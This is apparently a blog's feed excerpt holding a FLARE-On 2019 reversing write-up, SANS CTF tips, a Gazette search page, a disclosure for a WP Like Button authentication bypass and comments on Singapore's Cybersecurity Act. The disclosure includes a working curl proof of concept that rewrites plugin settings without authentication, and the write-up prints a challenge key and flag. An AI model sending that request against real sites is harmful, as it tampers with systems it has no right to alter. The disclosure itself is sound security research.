&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;
&lt;span class="normal"&gt;64&lt;/span&gt;
&lt;span class="normal"&gt;65&lt;/span&gt;
&lt;span class="normal"&gt;66&lt;/span&gt;
&lt;span class="normal"&gt;67&lt;/span&gt;
&lt;span class="normal"&gt;68&lt;/span&gt;
&lt;span class="normal"&gt;69&lt;/span&gt;
&lt;span class="normal"&gt;70&lt;/span&gt;
&lt;span class="normal"&gt;71&lt;/span&gt;
&lt;span class="normal"&gt;72&lt;/span&gt;
&lt;span class="normal"&gt;73&lt;/span&gt;
&lt;span class="normal"&gt;74&lt;/span&gt;
&lt;span class="normal"&gt;75&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;final_byte_arr =  70 70 B2 AC 01 D2 5E 61 0A A7 2A A8 00 00 00 00 08 1C 86 1A E8 45 C8 29 B2 F3 A1 1E 00 00 00 00
vpshufb_static = 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF
vpmaddwd_static = 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00 00 10 01 00
vpmaddubsw_static = 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01
vpshufb_static2 = 00 10 13 04 BF BF B9 B9 00 00 00 00 00 00 00 00 00 10 13 04 BF BF B9 B9 00 00 00 00 00 00 00 00
vpand_static = 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F

# The complete equation is as follows:
final_byte_arr = vpshufb(vpmaddwd(vpmaddubsw(vpaddb(input, intermediate_byte_arr), vpmaddubsw_static), vpmaddwd_static), vpshufb_static)
intermediate_byte_arr = vpshufb(vpand(vpsrld(input, 0x4), vpand_static), vpshufb_static2)


# Tracing backwards from final byte array

# Reverse vpshufb (Shift position of bytes based on index in mask)
IND 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
MAS 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF 02 01 00 06 05 04 0A 09 08 0E 0D 0C FF FF FF FF
DES 70 70 B2 AC 01 D2 5E 61 0A A7 2A A8 00 00 00 00 08 1C 86 1A E8 45 C8 29 B2 F3 A1 1E 00 00 00 00
SRC B2 70 70 00 D2 01 AC 00 0A 61 5E 00 A8 2A A7 00 86 1C 08 00 45 E8 1A 00 B2 29 C8 00 1E A1 F3 00

# Reverse vpmaddwd (This function is rather hard to invert, I eyeballed the position of each nibble based on patterns)
IND 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
DES B2 70 70 00 D2 01 AC 00 0A 61 5E 00 A8 2A A7 00 86 1C 08 00 45 E8 1A 00 B2 29 C8 00 1E A1 F3 00
SRC 07 07 B2 00 C0 0A D2 01 E6 05 0A 01 72 0A A8 0A 81 00 86 0C AE 01 45 08 82 0C B2 09 3A 0F 1E 01

# Reverse vpmaddubsw (Just Math. 40x + 1y)
IND 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
MAS 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01 40 01
DES 07 07 B2 00 C0 0A D2 01 E6 05 0A 01 72 0A A8 0A 81 00 86 0C AE 01 45 08 82 0C B2 09 3A 0F 1E 01
SRC 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E

707 (40 x 1C) + (01 x 7)
0b2 (40 x 2) + (01 x 32)
ac0 (40 x 2b) + (01 x 0)
1d2 (40 x 7) + (01 x 12)
5e6 (40 x 17) + (01 x 26)
10a (40 x 4) + (01 x a)
a72 (40 x 29) + (01 x 32)
aa8 (40 x 2a) + (01 x 28)
081 (40 x 2) + (01 x 1)
c86 (40 x 32) + (01 x 6)
1ae (40 x 6) + (01 x 2e)
845 (40 x 21) + (01 x 5)
c82 (40 x 32) + (01 x 2)
9b2 (40 x 26) + (01 x 32)
f3a (40 x 3c) + (01 x 3a)
11e (40 x 4) + (01 x 1e)

# At this point, we have
vpaddb(input, intermediate_byte_arr) = 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E

# It gets a bit tricky to reverse past this point because the 32 character input is eventually used in both inputs to the vpaddb function.
# However, for all remaining functions, a change in input at position X will only result in a change in output at position X. 
# Hence, we can use a state table.

# vpaddb state table
# Note that the symbols and numbers have some overlap in output bytes. 
A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 
a  b  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z  
1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33
~  #  $  %  &amp;amp;  &amp;#39;  (  )  *  +  ,  -  .  /  0  1  2  3  4  5  6  7  8  9  :  ;  &amp;lt;  =  &amp;gt;  ?  
37 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 3F 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43  

# The final answer is alphanumeric.
DST 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E
SRC c  H  C  y  r  A  H  S  X  m  E  K  p  y  q  o  C  B  y  G  G  u  h  F  y  C  m  y  8  6  E  e
cHCyrAHSXmEKpyqoCByGGuhFyCmy86Ee



vv_max.exe FLARE2019 cHCyrAHSXmEKpyqoCByGGuhFyCmy86Ee

That is correct!
Flag: AVX2_VM_M4K3S_BASE64_C0MPL1C4T3D@flare-on.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The graphic below demonstrates the eyeballing process for vpmaddwd to retrieve the reversed value. To be doubly sure that I did not make a mistake for any of the manually reversed byte arrays, I modified the value in memory and stepped through the function to confirm that the value returned is correct.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="eyeballing the values" src="//limbenjamin.com/media/flareon6.png"&gt;&lt;/p&gt;
&lt;p&gt;Bonus:  &lt;/p&gt;
&lt;p&gt;&lt;img alt="eyeballing the values" src="//limbenjamin.com/media/flareon.jpg"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Tips for winning SANS CTFs</title><link href="https://limbenjamin.com/articles/tips-for-winning-sans-ctfs.html" rel="alternate"></link><published>2019-09-22T17:59:00+08:00</published><updated>2019-09-22T17:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-09-22:/articles/tips-for-winning-sans-ctfs.html</id><summary type="html">&lt;p&gt;Over the past 3 years, I have attended 3 SANS courses and participated in 3 NetWars events. I have won the challenge coin for every event I participated in. I hope this gives a bit more credibility to the tips that I am about to share. The SANS Challenge on …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Over the past 3 years, I have attended 3 SANS courses and participated in 3 NetWars events. I have won the challenge coin for every event I participated in. I hope this gives a bit more credibility to the tips that I am about to share. The SANS Challenge on the last day differs depending on the course you are attending. Some require you to give a group presentation, others are jeopardy style individual or group CTFs. The tips will be ordered starting from the easiest to implement to the hardest. Hopefully, it helps you get an edge over your competitors.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/sanscoins.jpg"&gt;&lt;/p&gt;
&lt;h2&gt;1. Get decent hardware&lt;/h2&gt;
&lt;p&gt;You don't want to have to deal with your VM lagging due to memory being paged out, mess with a flaky touchpad, or strain your eyes on a tiny screen. It doesn't have to be top of the line, but I would go for something with an i5 CPU, 8GB RAM, SSD and a 15 inch screen at minimum. Oh, don't forget a mouse.  &lt;/p&gt;
&lt;h2&gt;2. Setup the environment&lt;/h2&gt;
&lt;p&gt;Install VMware/Virtualbox tools in the VM. Make sure copy paste is working from host/guest. Map a shared drive for easy transfer of files, setup winSCP. Make sure the desktop resolution of the VM is acceptable, there is enough free space and the internet is working. Run everything as root. Seriously. You don't want to waste time transferring the file to /tmp directory, chmod 777 and all that. Make it comfortable for you. I hated that remnux has got noclobber turned on so you don't accidentally overwrite files. Remove those training wheels.  &lt;/p&gt;
&lt;h2&gt;3. cyberchef&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://gchq.github.io/CyberChef/"&gt;cyberchef&lt;/a&gt; is so good that it deserves its own item. Before cyberchef, we had to learn the syntax for 20 different linux commands. cyberchef is the go to tool for any encoding or bitwise operations. Convert from percent unicode to URL encoding to binary, XOR it with a binary key, do a bit shift and convert it to base64, all within cyberchef itself.  &lt;/p&gt;
&lt;h2&gt;4. Learn your favourite editor well&lt;/h2&gt;
&lt;p&gt;A good text editor and hex editor will follow you for life. If you see anyone using hiew, that guy was trained by Kaspersky at some point. Learn the core functionality well. Make sure you can do search, replace, regex at your fingertips. For minor edits, leafpad/gedit provided by the VM will do fine, but I usually use my favourite editor for anything more than that. You should have done (2), so file transfer should be easy.  &lt;/p&gt;
&lt;h2&gt;5. Linux utilities&lt;/h2&gt;
&lt;p&gt;Now that we have done single file processing, we need to look at bulk processing. Utilities such as cat, echo, grep, find, xargs, | , &amp;gt; , xxd, cut, sed, awk, nc, wc... are very useful for bulk processing. If you have many files to search through or huge files that do not work well in a GUI editor, linux utilities are the way to go. Compile a cheatsheet with commonly used functions. It will save you a lot of time.  &lt;/p&gt;
&lt;h2&gt;6. Luck&lt;/h2&gt;
&lt;p&gt;This item is last because it is almost impossible to control. Finding strong team members require a fair bit of luck. Chances are you are going to pair with average team members. To compensate for this, you have got to be much better than your competitors. At one of the group CTFs, my individual score was higher than the next 2 individual scores combined. You have got to carry the weight of 2-3 members in order to compensate. Luck plays a part in individual competitions as well. If I happen to participate in the same SANS event as you, you would be facing strong competition.  &lt;/p&gt;
&lt;h2&gt;Moving on&lt;/h2&gt;
&lt;p&gt;I believe that most SANS courses are pitched at the level of an industry professional with 1-3 years of experience in his job role. You do need a bit of background knowledge to fully benefit from the training. At the same time, if you are a seasoned professional, there is not much to be gained. If you have won multiple challenge coins, maybe it is time to move on and give the newer guys a chance. There are other CTFs such as &lt;a href="http://flare-on.com/"&gt;FLARE-On&lt;/a&gt; which have a higher difficulty level. Alternatively, do some bug bounty hunting, find a CVE or write a tool.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Singapore Gazette Search</title><link href="https://limbenjamin.com/articles/singapore-gazette-search.html" rel="alternate"></link><published>2019-08-24T20:17:00+08:00</published><updated>2019-08-24T20:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-08-24:/articles/singapore-gazette-search.html</id><summary type="html">&lt;div class="admonition other"&gt;
&lt;p class="admonition-title"&gt;Update (9 Jan 2020)&lt;/p&gt;
&lt;p&gt;The government has &lt;a href="https://www.straitstimes.com/politics/free-access-to-entire-govt-e-gazette-website"&gt;announced the decision&lt;/a&gt; to make all publications in the Gazette freely available to the public. Kudos to the government for doing so! As such, there is no point in continuing to archive them. I have turned off the search feature. However, this page …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="admonition other"&gt;
&lt;p class="admonition-title"&gt;Update (9 Jan 2020)&lt;/p&gt;
&lt;p&gt;The government has &lt;a href="https://www.straitstimes.com/politics/free-access-to-entire-govt-e-gazette-website"&gt;announced the decision&lt;/a&gt; to make all publications in the Gazette freely available to the public. Kudos to the government for doing so! As such, there is no point in continuing to archive them. I have turned off the search feature. However, this page will remain online as it also provides useful information to the public on how they can make use of the information in the gazette.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Disclaimer&lt;/p&gt;
&lt;p&gt;I am not a lawyer. The information provided is for reference only and does not constitute legal advice.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The government gazette is a periodical publication of public and legal notices. These notices include useful notices such as the bankruptcy status of an individual, notices of companies which are in the process of winding up or striking off. There are also interesting notices such as minister leave schedules and conferment of certain powers on public officers in various agencies. You would think that public notices would be well, public. However, the Singapore Government Printer only makes the last 5 days of notices available to the public. An annual subscription to the archives will set you back $2,597.08.  &lt;/p&gt;
&lt;p&gt;This has created quite an interesting situation. By locking public notices behind a paywall, the government can now charge for public information. Want to get a company business profile? That would be $5.50 payable to ACRA. Want to check if a person is bankrupt? That will be $6 payable to the insolvency office.  &lt;/p&gt;
&lt;p&gt;As far as I can tell, this is a situation unique to Singapore. Britain has &lt;a href="https://www.thegazette.co.uk/London/issue/23629/page/3220"&gt;publicly available records dating back to the 1800s accessible online for free&lt;/a&gt;. Thomas Hoare, of Aston was declared a bankrupt on 23rd June, 1870. Maybe we cant uphold the high standards of our former colonial master, here is &lt;a href="https://archives.dailynews.lk/2001/pix/GazetteE.pdf"&gt;Sri Lanka's 2001 issue of their gazette&lt;/a&gt;, here is the &lt;a href="http://www.stationeryprinting.tn.gov.in/extraordinary/extraord_list2008.php"&gt;state of Tamil Nadu's 2008 issue of their gazette&lt;/a&gt;. There are plenty more examples of governments around the world who have a better track record at making public information available online.  &lt;/p&gt;
&lt;p&gt;I have started collecting gazette issues since June 2019 and will make them available for you to search for free. The search index will continually be updated as gazette issues are released.  &lt;/p&gt;
&lt;form action="/" method="get"&gt;
    Search Term: &lt;input id="search" name="search" disabled&gt;&lt;/input&gt;
    &lt;button id="submit" disabled&gt;Search&lt;/button&gt;
&lt;/form&gt;

&lt;div class="admonition disclaimer"&gt;
&lt;p class="admonition-title"&gt;Disclaimer&lt;/p&gt;
&lt;p&gt;Whilst every endeavour is made to ensure that the search result provided is updated and correct, I disclaim any liability for any damage or loss that may be caused as a result of any error or omission. Also, even though the insolvency office charges you $6 for each search, they make the same disclaimer!&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Unfortunately, I cannot provide you with the full contents of the gazette. I am unsure if the gazette is copyrighted and whether the copyright belongs to the Singapore Government or the Singapore Government Printer. I do not have permission from either party to distribute the gazette. I can however provide you with snippets of the gazette based on your search terms. Provision of snippets through search engine services is considered fair use and there are sufficient precedent cases in various jurisdictions.  &lt;/p&gt;
&lt;p&gt;How can the average Singaporean use this information? You should check up on an individual or company before you:&lt;br&gt;
1.   Sign up for a 1 year gym package&lt;br&gt;
2.   Rent out a room&lt;br&gt;
3.   Lend money to someone&lt;br&gt;
4.   Open your door for the alleged NEA inspector  &lt;/p&gt;
&lt;p&gt;This is all part of due diligence. You need to ensure that the individual or company you are dealing with is a valid legal entity and in good financial standing so as to minimise the risk of any losses. If you have done such due diligence, any future legal action you may need to take is relatively straightforward and is likely within the jurisdiction of the small claims court, where fees are in the ballpark of $100. If you signed a package with a non existent company or rented out a room to a bankrupt, the case would be much more complicated, you would need to hire a lawyer to fight the case in court. You would be looking at fees in the ballpark of tens of thousands.  &lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>WP Like Button 1.6.0 - Auth Bypass</title><link href="https://limbenjamin.com/articles/wp-like-button-auth-bypass.html" rel="alternate"></link><published>2019-07-05T20:10:00+08:00</published><updated>2019-07-05T20:10:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-07-05:/articles/wp-like-button-auth-bypass.html</id><summary type="html">&lt;p&gt;Exploit Title: WP Like Button 1.6.0 - Auth Bypass  &lt;br&gt;
Date: 05-Jul-19&lt;br&gt;
Exploit Author: Benjamin Lim&lt;br&gt;
Vendor Homepage: http://www.crudlab.com&lt;br&gt;
Software Link: https://wordpress.org/plugins/wp-like-button/&lt;br&gt;
Version: 1.6.0&lt;br&gt;
CVE : CVE-2019-13344  &lt;/p&gt;
&lt;h2&gt;1. Product &amp;amp; Service Introduction:&lt;/h2&gt;
&lt;p&gt;WP Like button allows you to add Facebook like button on …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Exploit Title: WP Like Button 1.6.0 - Auth Bypass  &lt;br&gt;
Date: 05-Jul-19&lt;br&gt;
Exploit Author: Benjamin Lim&lt;br&gt;
Vendor Homepage: http://www.crudlab.com&lt;br&gt;
Software Link: https://wordpress.org/plugins/wp-like-button/&lt;br&gt;
Version: 1.6.0&lt;br&gt;
CVE : CVE-2019-13344  &lt;/p&gt;
&lt;h2&gt;1. Product &amp;amp; Service Introduction:&lt;/h2&gt;
&lt;p&gt;WP Like button allows you to add Facebook like button on your wordpress blog. You can also add Share button along with Like button or can add recommend button. As of now, the plugin has been downloaded 129,089 times and has 10,000+ active installs.  &lt;/p&gt;
&lt;h2&gt;2. Technical Details &amp;amp; Description:&lt;/h2&gt;
&lt;p&gt;Authentication Bypass vulnerability in the WP Like Button (Free) plugin version 1.6.0 allows unauthenticated attackers to change the settings of the plugin. The contains() function in wp_like_button.php did not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the settings of the plugin.   &lt;/p&gt;
&lt;h2&gt;3. Proof of Concept (PoC):&lt;/h2&gt;
&lt;p&gt;For example, the curl command below allows an attacker to change the each_page_url parameter to https://hijack.com. This allows the attacker to hijack Facebook likes.  &lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -k -i --raw -X POST -d "page=facebook-like-button&amp;amp;site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&amp;amp;display[]=1&amp;amp;display[]=2&amp;amp;display[]=4&amp;amp;display[]=16&amp;amp;mobile=1&amp;amp;fb_app_id=&amp;amp;fb_app_admin=&amp;amp;kd=0&amp;amp;fblb_default_upload_image=&amp;amp;code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&amp;amp;beforeafter=before&amp;amp;eachpage=url&amp;amp;each_page_url=https://hijack.com&amp;amp;language=en_US&amp;amp;width=65&amp;amp;position=center&amp;amp;layout=box_count&amp;amp;action=like&amp;amp;color=light&amp;amp;btn_size=small&amp;amp;faces=1&amp;amp;share=1&amp;amp;update_fblb=" "https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&amp;amp;edit=1" -H "Content-Type: application/x-www-form-urlencoded"&lt;/code&gt;  &lt;/p&gt;
&lt;h2&gt;4. Mitigation&lt;/h2&gt;
&lt;p&gt;Users are advised to update to version 1.6.1 and above.  &lt;/p&gt;
&lt;h2&gt;5. Disclosure Timeline&lt;/h2&gt;
&lt;p&gt;2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com)&lt;br&gt;
2019/06/30 Second email sent to vendor (crudlab@gmail.com)&lt;br&gt;
2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists. Vendor did not acknowledge any emails.&lt;br&gt;
2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net)&lt;br&gt;
2018/07/05 Public disclosure&lt;br&gt;
2018/07/08 Wordpress plugins team notified. Plugin removed.&lt;br&gt;
2019/07/09 Vendor released v1.6.1 update. Vulnerability fixed.  &lt;/p&gt;
&lt;h2&gt;6. Credits &amp;amp; Authors:&lt;/h2&gt;
&lt;p&gt;Benjamin Lim - [https://limbenjamin.com]  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>On the Cybersecurity Act</title><link href="https://limbenjamin.com/articles/on-the-cybersecurity-act.html" rel="alternate"></link><published>2019-06-09T09:46:00+08:00</published><updated>2019-06-09T09:46:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-06-09:/articles/on-the-cybersecurity-act.html</id><summary type="html">&lt;p&gt;Let us take a look at the Cybersecurity Act 2018 and see how it affects professionals in the industry. I believe it is a good first step, however more can be done in terms of enforcement as well as to ensure better wording of the law.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4 …&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Let us take a look at the Cybersecurity Act 2018 and see how it affects professionals in the industry. I believe it is a good first step, however more can be done in terms of enforcement as well as to ensure better wording of the law.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;S2 Interpretation
“cybersecurity” means the state in which a computer or computer system is protected from unauthorised access or attack, and because of that state —
(a) the computer or computer system continues to be available and operational;
(b) the integrity of the computer or computer system is maintained; and
(c) the integrity and confidentiality of information stored in, processed by or transmitted through the computer or computer system is maintained;

“cybersecurity service” means a service provided by a person for reward that is intended primarily for or aimed at ensuring or safeguarding the cybersecurity of a computer or computer system belonging to another person (A), and includes the following:
(redacted for brevity)

(2)  For the purposes of the definition of “cybersecurity service”, a person does not provide a cybersecurity service only because the person —
(a) sells, or sells licences for, cybersecurity programs intended to be installed by a user without the assistance of the seller for the protection of the cybersecurity of a user’s computer; or
(b) provides services for the management of a computer network or computer system, that are aimed at ensuring the availability of or enhancing the performance of the computer network or computer system.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is particularly interesting. Cybersecurity refers to the state where a computer system is not under attack and thus continues to be available and operational. However, if a person provides services that are aimed only at ensuring the availability of a computer system, it is not considered a cybersecurity service. Is this what the government really intended, to not consider anti-DDOS services as a cybersecurity service? Or did the government have a much narrower definition of availability in mind when drafting 2b, i.e. availability when caused by technical or equipment failure and not when caused by a cyber attack. If the latter intention is true, then the law should have been worded better.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;S3 Application of Act
(5)  To avoid doubt, no person is immune from prosecution for any offence under this Act by reason that the person is a public officer or is engaged to provide services to the Government.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is a welcome move. The Personal Data Protection Act 2012 does not apply to public agencies or an organisation acting on behalf of a public agency. It is high time that the government also be held accountable for their shortcomings. The impact of a data breach on the populace is the same regardless of the origin of the breach. Allowing for double standards will just cause hackers to shift their attention to the softer government targets.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;S20 Powers to investigate and prevent serious cybersecurity incidents, etc.
(d) after giving reasonable notice to the owner or occupier of any premises, enter those premises if the incident response officer reasonably suspects that there is within the premises a computer or computer system that is or was affected by the cybersecurity incident;
(redacted for brevity)
(h) subject to subsection (5), with the consent of the owner, take possession of any computer or other equipment for the purpose of carrying out further examination or analysis.
(5)  Where the owner of the computer or other equipment does not consent to the exercise of the power mentioned in subsection (2)(h), the power may be exercised if the Commissioner is satisfied that —
(a) the exercise of the power is necessary for the purposes of the investigation;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If your personal computer has been infected and is being used to attack the the power grid, the officers can enter your home and seize your personal computer. These are some wide ranging powers indeed. We have seen supply chain attacks, where attackers hack vendors and try to use the foothold to get to the target. However, I don't think there has been a case so far where personal computers have been used in such a manner. Given the threat landscape today, I question the need to include residential premises in the scope, perhaps it would be sufficient to limit the scope to only commercial premises.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;S22 Appointment of cybersecurity technical experts
22.—(1)  The Commissioner may in writing appoint any of the following as a cybersecurity technical expert for a specified period to assist any incident response officer in the course of an investigation under section 19 or 20:
(a) a public officer or an employee of a statutory body;
(b) an individual (who is not a public officer or an employee of a statutory body) with suitable qualifications or experience to properly perform the role of a cybersecurity technical expert;
(c) a full-time national serviceman enlisted in any force constituted under the Singapore Armed Forces Act (Cap. 295) or in the Special Constabulary constituted under section 66 of the Police Force Act (Cap. 235).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I don't know of any suitable individual who would be happy to be lumped together with an NSF who has only undergone a few months of vocational training in cybersecurity. It just demeans the industry and the professionals who have worked hard at their craft.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;
&lt;span class="normal"&gt;9&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;S36 Offences by corporations
Where a corporation commits an offence under this Act, a person —
(a) who is —
(i) an officer of the corporation, or a member of the corporation (in the case where the affairs of the corporation are managed by its members); or
(ii)    an individual involved in the management of the corporation and in a position to influence the conduct of the corporation in relation to the commission of the offence; and
(b) who —
(i) consented or connived, or conspired with others, to effect the commission of the offence;
(ii)    is in any other way, whether by act or omission, knowingly concerned in, or is party to, the commission of the offence by the corporation; or
(iii)   knew or ought reasonably to have known that the offence by the corporation (or an offence of the same type) would be or is being committed, and failed to take all reasonable steps to prevent or stop the commission of that offence, shall be guilty of that same offence as is the corporation, and shall be liable on conviction to be punished accordingly.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

